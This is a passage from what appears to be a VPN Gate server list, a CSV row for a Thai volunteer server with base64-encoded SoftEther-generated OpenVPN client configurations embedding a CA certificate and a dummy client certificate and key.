jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA1OC4xOTEuMjAyLjIzOCAxODI4DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn751302300,171.7.223.116,594999,17,346248302,Thailand,TH,27,0,33906,7248576729778,2weeks,PC-CHI's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHVkcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNzEuNy4yMjMuMTE2IDE1MzgNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy